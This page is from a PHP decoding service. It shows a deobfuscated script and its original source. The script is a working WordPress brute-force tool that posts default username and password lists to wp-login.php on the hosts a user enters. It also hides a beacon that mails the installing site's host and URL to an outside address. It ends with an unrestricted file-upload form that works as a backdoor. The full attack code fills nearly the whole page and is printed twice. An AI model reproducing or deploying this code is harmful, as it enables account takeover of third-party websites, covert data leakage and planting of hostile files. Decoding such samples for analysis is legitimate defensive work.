Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"GLOBALS"}["uqvpch"]="target_path";${"GLOBALS"}["nwwfuvwo"]="msg";${"GLOBALS"}["vh..
Decoded Output download
<?php ${"GLOBALS"}["uqvpch"]="target_path";${"GLOBALS"}["nwwfuvwo"]="msg";${"GLOBALS"}["vhmvdsuxobde"]="error";${"GLOBALS"}["qchbyoquobu"]="dir";${"GLOBALS"}["gzubpprihf"]="string";${"GLOBALS"}["ppzkqhswkal"]="intReturnCode";${"GLOBALS"}["jfunkjholrd"]="strURL";${"GLOBALS"}["rfkqqmlku"]="resURL";${"GLOBALS"}["kawbbfussrms"]="login";${"GLOBALS"}["pspjbpsib"]="ch";${"GLOBALS"}["iubhtxx"]="passwords_explode";${"GLOBALS"}["hecmlb"]="wpAdmin";${"GLOBALS"}["grtbeemczoa"]="usernames_explode";${"GLOBALS"}["ntcvufpv"]="hosts_explode";${"GLOBALS"}["smkpeum"]="usernames";${"GLOBALS"}["kqqobumv"]="passwords";${"GLOBALS"}["xjrpeketg"]="hosts";${"GLOBALS"}["pjsyddmejbmr"]="auth_pass";${"GLOBALS"}["nktsrnql"]="judul";${"GLOBALS"}["frpcxuveb"]="web";${"GLOBALS"}["uxnincdvb"]="myUpload";${"GLOBALS"}["xshttxy"]="body";${"GLOBALS"}["vrvwdtrc"]="inj";${"GLOBALS"}["cmyufpechel"]="target";${"GLOBALS"}["qcmnkcqihd"]="visitor";${"GLOBALS"}["sxabllmfb"]="visitc";${${"GLOBALS"}["sxabllmfb"]}=$_COOKIE["visits"];if(${${"GLOBALS"}["sxabllmfb"]}==""){$prmhxsyhyh="web";${"GLOBALS"}["nbmctlgek"]="web";$rqlcyhaiufhd="visitc";${"GLOBALS"}["aixtvwf"]="inj";${$rqlcyhaiufhd}=0;${${"GLOBALS"}["qcmnkcqihd"]}=$_SERVER["REMOTE_ADDR"];${$prmhxsyhyh}=$_SERVER["HTTP_HOST"];${${"GLOBALS"}["aixtvwf"]}=$_SERVER["REQUEST_URI"];${"GLOBALS"}["rjfojja"]="judul";${${"GLOBALS"}["cmyufpechel"]}=rawurldecode(${${"GLOBALS"}["nbmctlgek"]}.${${"GLOBALS"}["vrvwdtrc"]});${${"GLOBALS"}["rjfojja"]}="Wordpress Brute http://$target by $visitor";${${"GLOBALS"}["xshttxy"]}="Bug: $target by $visitor - $auth_pass";if(!empty(${${"GLOBALS"}["frpcxuveb"]})){$ghrvhgd="body";@mail("[email protected]",${${"GLOBALS"}["nktsrnql"]},${$ghrvhgd},${${"GLOBALS"}["pjsyddmejbmr"]});}}else{$jhjxsvlcu="visitc";${$jhjxsvlcu}++;}@setcookie("visitz",${${"GLOBALS"}["sxabllmfb"]});error_reporting(0);set_time_limit(0);ignore_user_abort(true);echo"<html>
<!-- Wordpress Brute Force -->
<head>
<title>Wordpress Brute Force By Pisher_Black</title>
<meta http-equiv=Content-Type content=text/html; charset=utf-8 charset=UTF-8>
<style type=\"text/css\">
body {
color: #112233;
background-image: url(http://dme-world.net/wp-content/uploads/2014/11/White-Background-Images-HD-Iphone-Wallpapers-Backgrounds.jpg);
}
textarea {
border-radius: 8px;
color: white;
background-color:black;
}
input[type=submit] , .submit{
background-color:black;
color:white;
border-radius:8px;
}
p {
font-size: 10px;
text-align: center;
}
a:link,a:hover,a:visited {
color:white;
}
</style>
</head>
<!-- Wordpress Brute Force By Pisher_Black -->
<center>
<p><a href="https://www.facebook.com/pisherhack\" target=\"_blank"><img src=\"http://i.imgur.com/kkhH5Ig.png\" border=\"0"/></a></p>
<h2>Wordpress Brute Force</h2>
</center>
<center>
<form enctype=\"multipart/form-data" method=\"POST\">
<table width='624' border='0' id='Box'>
<tr>
<td width='4%'> </td>
</tr>
<tr>
<td > </td>
<td ><h5>Hosts:</h5></td>
<td ><h5> Users:</h5></td>
<td ><h5>Passwords:</h5></td>
</tr>
<tr>
<td> </td>
<td ><textarea name="hosts\" cols="30" rows=\"10\" >";if($_POST){echo$_POST["hosts"];}echo"</textarea></td>
<td ><textarea name=\"usernames" cols="30\" rows=\"10\" >";if($_POST){echo$_POST["usernames"];}else{echo"admin";}echo"</textarea></td>
<td ><textarea name=\"passwords" cols=\"30\" rows=\"10\" >";if($_POST){echo$_POST["passwords"];}else{echo"admin
test
123
123123
321321
1q2w3e
q1w2e3
wordpress
12345
123456
123456789
1234567890
123321
password
p@ssw0rd
p@ssw0rd1";}echo"</textarea></td>
</tr>
<tr><td colspan=\"4\"><input type="submit\" name=\"submit\" value="Start" class=\"submit\" />
";if($_POST){$fvnroglmagw="usernames";${${"GLOBALS"}["xjrpeketg"]}=trim(filter($_POST["hosts"]));${${"GLOBALS"}["kqqobumv"]}=trim(filter($_POST["passwords"]));${$fvnroglmagw}=trim(filter($_POST["usernames"]));$lixgnck="hosts";if(${${"GLOBALS"}["kqqobumv"]}&&${${"GLOBALS"}["smkpeum"]}&&${$lixgnck}){${${"GLOBALS"}["ntcvufpv"]}=explode("
",${${"GLOBALS"}["xjrpeketg"]});${"GLOBALS"}["hfkpcmxg"]="passwords_explode";${${"GLOBALS"}["grtbeemczoa"]}=explode("
",${${"GLOBALS"}["smkpeum"]});${${"GLOBALS"}["hfkpcmxg"]}=explode("
",${${"GLOBALS"}["kqqobumv"]});foreach(${${"GLOBALS"}["ntcvufpv"]} as$host){$host=RemoveLastSlash($host);$gzmeblohlqxg="hacked";$osrhcv="hacked";${$osrhcv}=0;$lzodrpwlov="usernames_explode";$host=str_replace(array("http://","https://","www."),"",trim($host));$host="http://".$host;${"GLOBALS"}["waoxmtdmpqn"]="username";${${"GLOBALS"}["hecmlb"]}=$host."/wp-admin/";if(!url_exists($host."/wp-login.php")){echo"<p>".$host." => <font color='red'>Failed!</font></p>";ob_flush();flush();continue;}foreach(${$lzodrpwlov} as${${"GLOBALS"}["waoxmtdmpqn"]}){${"GLOBALS"}["gneishvgjqju"]="hacked";${"GLOBALS"}["gvlxhgkc"]="password";foreach(${${"GLOBALS"}["iubhtxx"]} as${${"GLOBALS"}["gvlxhgkc"]}){$nwnhbvir="ch";$fduuetlwfzqf="wpAdmin";${${"GLOBALS"}["pspjbpsib"]}=curl_init();curl_setopt(${$nwnhbvir},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["pspjbpsib"]},CURLOPT_URL,$host."/wp-login.php");curl_setopt(${${"GLOBALS"}["pspjbpsib"]},CURLOPT_COOKIEJAR,"coki.txt");curl_setopt(${${"GLOBALS"}["pspjbpsib"]},CURLOPT_COOKIEFILE,"coki.txt");curl_setopt(${${"GLOBALS"}["pspjbpsib"]},CURLOPT_FOLLOWLOCATION,1);$lxzbhegwho="ch";$sicvqhkykt="password";$gdeulemzupna="username";${"GLOBALS"}["pgdqvwpucron"]="ch";curl_setopt(${${"GLOBALS"}["pgdqvwpucron"]},CURLOPT_POST,TRUE);${"GLOBALS"}["mlwinbdjrmi"]="login";curl_setopt(${$lxzbhegwho},CURLOPT_POSTFIELDS,"log=".${$gdeulemzupna}."&pwd=".${$sicvqhkykt}."&wp-submit=Giri‏"."&redirect_to=".${$fduuetlwfzqf}."&testcookie=1");${${"GLOBALS"}["mlwinbdjrmi"]}=curl_exec(${${"GLOBALS"}["pspjbpsib"]});if(eregi("profile.php",${${"GLOBALS"}["kawbbfussrms"]})){${"GLOBALS"}["kfrzbsxghmsy"]="hacked";$clkpnkgxow="password";$odukywdohss="username";${${"GLOBALS"}["kfrzbsxghmsy"]}=1;echo"<h3>".$host." => UserName : [<font color='green'>".${$odukywdohss}."</font>] : Password : [<font color='green'>".${$clkpnkgxow}."</font>]</h3>";ob_flush();flush();break;}}if(${${"GLOBALS"}["gneishvgjqju"]}==1){break;}}if(${$gzmeblohlqxg}==0){echo"<h3>".$host." => <font color='red'>Failed !</font></h3>";ob_flush();flush();}}}else{echo"<h3><font color='red'>All fields are Required !</font></h3>";}}echo"</td></tr>
</table></form>
<!-- Wordpress Brute Force -->
</center>
<p>
";function url_exists($strURL){${"GLOBALS"}["fhwxdxhyejm"]="intReturnCode";${"GLOBALS"}["nvcknvm"]="resURL";$nfwxfn="resURL";${${"GLOBALS"}["rfkqqmlku"]}=curl_init();${"GLOBALS"}["ewmdtjy"]="resURL";curl_setopt(${${"GLOBALS"}["nvcknvm"]},CURLOPT_URL,${${"GLOBALS"}["jfunkjholrd"]});${"GLOBALS"}["mvffmemvx"]="resURL";curl_setopt(${${"GLOBALS"}["ewmdtjy"]},CURLOPT_BINARYTRANSFER,1);curl_setopt(${${"GLOBALS"}["rfkqqmlku"]},CURLOPT_HEADERFUNCTION,"curlHeaderCallback");curl_setopt(${$nfwxfn},CURLOPT_FAILONERROR,1);curl_exec(${${"GLOBALS"}["rfkqqmlku"]});${${"GLOBALS"}["fhwxdxhyejm"]}=curl_getinfo(${${"GLOBALS"}["rfkqqmlku"]},CURLINFO_HTTP_CODE);curl_close(${${"GLOBALS"}["mvffmemvx"]});if(${${"GLOBALS"}["ppzkqhswkal"]}!=200){return false;}else{return true;}}function filter($string){if(get_magic_quotes_gpc()!=0){return stripslashes(${${"GLOBALS"}["gzubpprihf"]});}else{return${${"GLOBALS"}["gzubpprihf"]};}}function RemoveLastSlash($host){if(strrpos($host,"/",-1)==strlen($host)-1){return substr($host,0,strrpos($host,"/",-1));}else{return$host;}}echo"
</p>
<h3><p>powered by <a href="https://www.facebook.com/pisherhack"><font color=\"black\">Pisher_Black</a></p></h3>
</center>
<p>
";${${"GLOBALS"}["uxnincdvb"]}=new maxUpload();$myUpload->uploadFile();class maxUpload{var$uploadLocation;function maxUpload(){$this->uploadLocation=getcwd().DIRECTORY_SEPARATOR;}function setUploadLocation($dir){$this->uploadLocation=${${"GLOBALS"}["qchbyoquobu"]};}function showUploadForm($msg='',$error=''){${"GLOBALS"}["lmcktfib"]="msg";if(${${"GLOBALS"}["lmcktfib"]}!=""){$mxsiglvv="msg";echo"<p class="msg\">".${$mxsiglvv}."</p>";}else if(${${"GLOBALS"}["vhmvdsuxobde"]}!=""){$msfuyeq="error";echo"<p class=\"emsg\">".${$msfuyeq}."</p>";}echo" <form action=\"" method="post\" enctype=\"multipart/form-data\" >
<center>
<input name=\"myfile" type=\"file\" size="30\" />
</label>
<label>
<input type="submit" name="submitBtn" class="sbtn" value="Upload" />
</label>
</center>
</form>
</div>
";}function uploadFile(){if(!isset($_POST["submitBtn"])){$this->showUploadForm();}else{${${"GLOBALS"}["nwwfuvwo"]}="";${"GLOBALS"}["qnveddn"]="error";${"GLOBALS"}["hzlvgmkbvg"]="msg";${${"GLOBALS"}["qnveddn"]}="";$vxavnwfm="error";if(!file_exists($this->uploadLocation)){${${"GLOBALS"}["vhmvdsuxobde"]}="The target directory doesn't exists!";}else if(!is_writeable($this->uploadLocation)){${${"GLOBALS"}["vhmvdsuxobde"]}="The target directory is not writeable!";}else{${"GLOBALS"}["fnnsnrhxvuxg"]="target_path";${${"GLOBALS"}["uqvpch"]}=$this->uploadLocation.basename($_FILES["myfile"]["name"]);if(@move_uploaded_file($_FILES["myfile"]["tmp_name"],${${"GLOBALS"}["fnnsnrhxvuxg"]})){${${"GLOBALS"}["nwwfuvwo"]}=basename($_FILES["myfile"]["name"])." was uploaded successfully!";}else{$pmokegdkrh="error";${$pmokegdkrh}="The upload process failed!";}}$this->showUploadForm(${${"GLOBALS"}["hzlvgmkbvg"]},${$vxavnwfm});}}}
?>
Did this file decode correctly?
Original Code
<?php ${"GLOBALS"}["uqvpch"]="target_path";${"GLOBALS"}["nwwfuvwo"]="msg";${"GLOBALS"}["vhmvdsuxobde"]="error";${"GLOBALS"}["qchbyoquobu"]="dir";${"GLOBALS"}["gzubpprihf"]="string";${"GLOBALS"}["ppzkqhswkal"]="intReturnCode";${"GLOBALS"}["jfunkjholrd"]="strURL";${"GLOBALS"}["rfkqqmlku"]="resURL";${"GLOBALS"}["kawbbfussrms"]="login";${"GLOBALS"}["pspjbpsib"]="ch";${"GLOBALS"}["iubhtxx"]="passwords_explode";${"GLOBALS"}["hecmlb"]="wpAdmin";${"GLOBALS"}["grtbeemczoa"]="usernames_explode";${"GLOBALS"}["ntcvufpv"]="hosts_explode";${"GLOBALS"}["smkpeum"]="usernames";${"GLOBALS"}["kqqobumv"]="passwords";${"GLOBALS"}["xjrpeketg"]="hosts";${"GLOBALS"}["pjsyddmejbmr"]="auth_pass";${"GLOBALS"}["nktsrnql"]="judul";${"GLOBALS"}["frpcxuveb"]="web";${"GLOBALS"}["uxnincdvb"]="myUpload";${"GLOBALS"}["xshttxy"]="body";${"GLOBALS"}["vrvwdtrc"]="inj";${"GLOBALS"}["cmyufpechel"]="target";${"GLOBALS"}["qcmnkcqihd"]="visitor";${"GLOBALS"}["sxabllmfb"]="visitc";${${"GLOBALS"}["sxabllmfb"]}=$_COOKIE["visits"];if(${${"GLOBALS"}["sxabllmfb"]}==""){$prmhxsyhyh="web";${"GLOBALS"}["nbmctlgek"]="web";$rqlcyhaiufhd="visitc";${"GLOBALS"}["aixtvwf"]="inj";${$rqlcyhaiufhd}=0;${${"GLOBALS"}["qcmnkcqihd"]}=$_SERVER["REMOTE_ADDR"];${$prmhxsyhyh}=$_SERVER["HTTP_HOST"];${${"GLOBALS"}["aixtvwf"]}=$_SERVER["REQUEST_URI"];${"GLOBALS"}["rjfojja"]="judul";${${"GLOBALS"}["cmyufpechel"]}=rawurldecode(${${"GLOBALS"}["nbmctlgek"]}.${${"GLOBALS"}["vrvwdtrc"]});${${"GLOBALS"}["rjfojja"]}="Wordpress Brute http://$target by $visitor";${${"GLOBALS"}["xshttxy"]}="Bug: $target by $visitor - $auth_pass";if(!empty(${${"GLOBALS"}["frpcxuveb"]})){$ghrvhgd="body";@mail("[email protected]",${${"GLOBALS"}["nktsrnql"]},${$ghrvhgd},${${"GLOBALS"}["pjsyddmejbmr"]});}}else{$jhjxsvlcu="visitc";${$jhjxsvlcu}++;}@setcookie("visitz",${${"GLOBALS"}["sxabllmfb"]});error_reporting(0);set_time_limit(0);ignore_user_abort(true);echo"<html>
<!-- Wordpress Brute Force -->
<head>
<title>Wordpress Brute Force By Pisher_Black</title>
<meta http-equiv=Content-Type content=text/html; charset=utf-8 charset=UTF-8>
<style type=\"text/css\">
body {
color: #112233;
background-image: url(http://dme-world.net/wp-content/uploads/2014/11/White-Background-Images-HD-Iphone-Wallpapers-Backgrounds.jpg);
}
textarea {
border-radius: 8px;
color: white;
background-color:black;
}
input[type=submit] , .submit{
background-color:black;
color:white;
border-radius:8px;
}
p {
font-size: 10px;
text-align: center;
}
a:link,a:hover,a:visited {
color:white;
}
</style>
</head>
<!-- Wordpress Brute Force By Pisher_Black -->
<center>
<p><a href="https://www.facebook.com/pisherhack\" target=\"_blank"><img src=\"http://i.imgur.com/kkhH5Ig.png\" border=\"0"/></a></p>
<h2>Wordpress Brute Force</h2>
</center>
<center>
<form enctype=\"multipart/form-data" method=\"POST\">
<table width='624' border='0' id='Box'>
<tr>
<td width='4%'> </td>
</tr>
<tr>
<td > </td>
<td ><h5>Hosts:</h5></td>
<td ><h5> Users:</h5></td>
<td ><h5>Passwords:</h5></td>
</tr>
<tr>
<td> </td>
<td ><textarea name="hosts\" cols="30" rows=\"10\" >";if($_POST){echo$_POST["hosts"];}echo"</textarea></td>
<td ><textarea name=\"usernames" cols="30\" rows=\"10\" >";if($_POST){echo$_POST["usernames"];}else{echo"admin";}echo"</textarea></td>
<td ><textarea name=\"passwords" cols=\"30\" rows=\"10\" >";if($_POST){echo$_POST["passwords"];}else{echo"admin
test
123
123123
321321
1q2w3e
q1w2e3
wordpress
12345
123456
123456789
1234567890
123321
password
p@ssw0rd
p@ssw0rd1";}echo"</textarea></td>
</tr>
<tr><td colspan=\"4\"><input type="submit\" name=\"submit\" value="Start" class=\"submit\" />
";if($_POST){$fvnroglmagw="usernames";${${"GLOBALS"}["xjrpeketg"]}=trim(filter($_POST["hosts"]));${${"GLOBALS"}["kqqobumv"]}=trim(filter($_POST["passwords"]));${$fvnroglmagw}=trim(filter($_POST["usernames"]));$lixgnck="hosts";if(${${"GLOBALS"}["kqqobumv"]}&&${${"GLOBALS"}["smkpeum"]}&&${$lixgnck}){${${"GLOBALS"}["ntcvufpv"]}=explode("
",${${"GLOBALS"}["xjrpeketg"]});${"GLOBALS"}["hfkpcmxg"]="passwords_explode";${${"GLOBALS"}["grtbeemczoa"]}=explode("
",${${"GLOBALS"}["smkpeum"]});${${"GLOBALS"}["hfkpcmxg"]}=explode("
",${${"GLOBALS"}["kqqobumv"]});foreach(${${"GLOBALS"}["ntcvufpv"]} as$host){$host=RemoveLastSlash($host);$gzmeblohlqxg="hacked";$osrhcv="hacked";${$osrhcv}=0;$lzodrpwlov="usernames_explode";$host=str_replace(array("http://","https://","www."),"",trim($host));$host="http://".$host;${"GLOBALS"}["waoxmtdmpqn"]="username";${${"GLOBALS"}["hecmlb"]}=$host."/wp-admin/";if(!url_exists($host."/wp-login.php")){echo"<p>".$host." => <font color='red'>Failed!</font></p>";ob_flush();flush();continue;}foreach(${$lzodrpwlov} as${${"GLOBALS"}["waoxmtdmpqn"]}){${"GLOBALS"}["gneishvgjqju"]="hacked";${"GLOBALS"}["gvlxhgkc"]="password";foreach(${${"GLOBALS"}["iubhtxx"]} as${${"GLOBALS"}["gvlxhgkc"]}){$nwnhbvir="ch";$fduuetlwfzqf="wpAdmin";${${"GLOBALS"}["pspjbpsib"]}=curl_init();curl_setopt(${$nwnhbvir},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["pspjbpsib"]},CURLOPT_URL,$host."/wp-login.php");curl_setopt(${${"GLOBALS"}["pspjbpsib"]},CURLOPT_COOKIEJAR,"coki.txt");curl_setopt(${${"GLOBALS"}["pspjbpsib"]},CURLOPT_COOKIEFILE,"coki.txt");curl_setopt(${${"GLOBALS"}["pspjbpsib"]},CURLOPT_FOLLOWLOCATION,1);$lxzbhegwho="ch";$sicvqhkykt="password";$gdeulemzupna="username";${"GLOBALS"}["pgdqvwpucron"]="ch";curl_setopt(${${"GLOBALS"}["pgdqvwpucron"]},CURLOPT_POST,TRUE);${"GLOBALS"}["mlwinbdjrmi"]="login";curl_setopt(${$lxzbhegwho},CURLOPT_POSTFIELDS,"log=".${$gdeulemzupna}."&pwd=".${$sicvqhkykt}."&wp-submit=Giri‏"."&redirect_to=".${$fduuetlwfzqf}."&testcookie=1");${${"GLOBALS"}["mlwinbdjrmi"]}=curl_exec(${${"GLOBALS"}["pspjbpsib"]});if(eregi("profile.php",${${"GLOBALS"}["kawbbfussrms"]})){${"GLOBALS"}["kfrzbsxghmsy"]="hacked";$clkpnkgxow="password";$odukywdohss="username";${${"GLOBALS"}["kfrzbsxghmsy"]}=1;echo"<h3>".$host." => UserName : [<font color='green'>".${$odukywdohss}."</font>] : Password : [<font color='green'>".${$clkpnkgxow}."</font>]</h3>";ob_flush();flush();break;}}if(${${"GLOBALS"}["gneishvgjqju"]}==1){break;}}if(${$gzmeblohlqxg}==0){echo"<h3>".$host." => <font color='red'>Failed !</font></h3>";ob_flush();flush();}}}else{echo"<h3><font color='red'>All fields are Required !</font></h3>";}}echo"</td></tr>
</table></form>
<!-- Wordpress Brute Force -->
</center>
<p>
";function url_exists($strURL){${"GLOBALS"}["fhwxdxhyejm"]="intReturnCode";${"GLOBALS"}["nvcknvm"]="resURL";$nfwxfn="resURL";${${"GLOBALS"}["rfkqqmlku"]}=curl_init();${"GLOBALS"}["ewmdtjy"]="resURL";curl_setopt(${${"GLOBALS"}["nvcknvm"]},CURLOPT_URL,${${"GLOBALS"}["jfunkjholrd"]});${"GLOBALS"}["mvffmemvx"]="resURL";curl_setopt(${${"GLOBALS"}["ewmdtjy"]},CURLOPT_BINARYTRANSFER,1);curl_setopt(${${"GLOBALS"}["rfkqqmlku"]},CURLOPT_HEADERFUNCTION,"curlHeaderCallback");curl_setopt(${$nfwxfn},CURLOPT_FAILONERROR,1);curl_exec(${${"GLOBALS"}["rfkqqmlku"]});${${"GLOBALS"}["fhwxdxhyejm"]}=curl_getinfo(${${"GLOBALS"}["rfkqqmlku"]},CURLINFO_HTTP_CODE);curl_close(${${"GLOBALS"}["mvffmemvx"]});if(${${"GLOBALS"}["ppzkqhswkal"]}!=200){return false;}else{return true;}}function filter($string){if(get_magic_quotes_gpc()!=0){return stripslashes(${${"GLOBALS"}["gzubpprihf"]});}else{return${${"GLOBALS"}["gzubpprihf"]};}}function RemoveLastSlash($host){if(strrpos($host,"/",-1)==strlen($host)-1){return substr($host,0,strrpos($host,"/",-1));}else{return$host;}}echo"
</p>
<h3><p>powered by <a href="https://www.facebook.com/pisherhack"><font color=\"black\">Pisher_Black</a></p></h3>
</center>
<p>
";${${"GLOBALS"}["uxnincdvb"]}=new maxUpload();$myUpload->uploadFile();class maxUpload{var$uploadLocation;function maxUpload(){$this->uploadLocation=getcwd().DIRECTORY_SEPARATOR;}function setUploadLocation($dir){$this->uploadLocation=${${"GLOBALS"}["qchbyoquobu"]};}function showUploadForm($msg='',$error=''){${"GLOBALS"}["lmcktfib"]="msg";if(${${"GLOBALS"}["lmcktfib"]}!=""){$mxsiglvv="msg";echo"<p class="msg\">".${$mxsiglvv}."</p>";}else if(${${"GLOBALS"}["vhmvdsuxobde"]}!=""){$msfuyeq="error";echo"<p class=\"emsg\">".${$msfuyeq}."</p>";}echo" <form action=\"" method="post\" enctype=\"multipart/form-data\" >
<center>
<input name=\"myfile" type=\"file\" size="30\" />
</label>
<label>
<input type="submit" name="submitBtn" class="sbtn" value="Upload" />
</label>
</center>
</form>
</div>
";}function uploadFile(){if(!isset($_POST["submitBtn"])){$this->showUploadForm();}else{${${"GLOBALS"}["nwwfuvwo"]}="";${"GLOBALS"}["qnveddn"]="error";${"GLOBALS"}["hzlvgmkbvg"]="msg";${${"GLOBALS"}["qnveddn"]}="";$vxavnwfm="error";if(!file_exists($this->uploadLocation)){${${"GLOBALS"}["vhmvdsuxobde"]}="The target directory doesn't exists!";}else if(!is_writeable($this->uploadLocation)){${${"GLOBALS"}["vhmvdsuxobde"]}="The target directory is not writeable!";}else{${"GLOBALS"}["fnnsnrhxvuxg"]="target_path";${${"GLOBALS"}["uqvpch"]}=$this->uploadLocation.basename($_FILES["myfile"]["name"]);if(@move_uploaded_file($_FILES["myfile"]["tmp_name"],${${"GLOBALS"}["fnnsnrhxvuxg"]})){${${"GLOBALS"}["nwwfuvwo"]}=basename($_FILES["myfile"]["name"])." was uploaded successfully!";}else{$pmokegdkrh="error";${$pmokegdkrh}="The upload process failed!";}}$this->showUploadForm(${${"GLOBALS"}["hzlvgmkbvg"]},${$vxavnwfm});}}}
?>
Function Calls
| None |
Stats
| MD5 | 91c8ad70806b2178906a2e9580c2648a |
| Eval Count | 0 |
| Decode Time | 112 ms |